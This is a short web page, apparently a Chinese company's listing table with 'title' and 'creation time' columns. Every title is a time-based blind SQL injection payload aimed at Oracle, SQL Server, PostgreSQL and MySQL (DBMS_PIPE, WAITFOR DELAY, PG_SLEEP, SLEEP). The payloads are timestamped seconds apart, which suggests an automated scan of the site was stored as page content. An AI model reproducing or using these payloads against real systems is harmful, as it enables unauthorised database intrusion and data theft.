# 標題 創建時間
10282 1' AND 3921=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(83)||CHR(98)||CHR(81),5) AND 'MrHh'='MrHh 2022-08-25 21:08:21
10283 1%' AND 3921=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(83)||CHR(98)||CHR(81),5) AND '%'=' 2022-08-25 21:08:21
10277 1%' WAITFOR DELAY '0:0:5' AND '%'=' 2022-08-25 21:08:20
10278 1) AND 3921=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(83)||CHR(98)||CHR(81),5) AND (6202=6202 2022-08-25 21:08:20
10279 1 AND 3921=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(83)||CHR(98)||CHR(81),5) 2022-08-25 21:08:20
10280 1 AND 3921=DBMS_PIPE.RECEIVE_MESSAGE(CHR(119)||CHR(83)||CHR(98)||CHR(81),5)-- TlYH 2022-08-25 21:08:20
10273 1 WAITFOR DELAY '0:0:5' 2022-08-25 21:08:19
10274 1 WAITFOR DELAY '0:0:5'-- qYMj 2022-08-25 21:08:19
10275 1') WAITFOR DELAY '0:0:5' AND ('IErt'='IErt 2022-08-25 21:08:19
10276 1' WAITFOR DELAY '0:0:5' AND 'UCch'='UCch 2022-08-25 21:08:19
10270 1' AND 9469=(SELECT 9469 FROM PG_SLEEP(5)) AND 'eaoc'='eaoc 2022-08-25 21:08:18
10271 1%' AND 9469=(SELECT 9469 FROM PG_SLEEP(5)) AND '%'=' 2022-08-25 21:08:18
10272 1) WAITFOR DELAY '0:0:5' AND (9084=9084 2022-08-25 21:08:18
10266 1) AND 9469=(SELECT 9469 FROM PG_SLEEP(5)) AND (3848=3848 2022-08-25 21:08:17
10267 1 AND 9469=(SELECT 9469 FROM PG_SLEEP(5)) 2022-08-25 21:08:17
10268 1 AND 9469=(SELECT 9469 FROM PG_SLEEP(5))-- MzGS 2022-08-25 21:08:17
10269 1') AND 9469=(SELECT 9469 FROM PG_SLEEP(5)) AND ('aEkd'='aEkd 2022-08-25 21:08:17
10262 1 AND SLEEP(5)-- OcIX 2022-08-25 21:08:16
10263 1') AND SLEEP(5) AND ('eKVv'='eKVv 2022-08-25 21:08:16
10264 1' AND SLEEP(5) AND 'xFwa'='xFwa 2022-08-25 21:08:16

和元有限公司版權所有.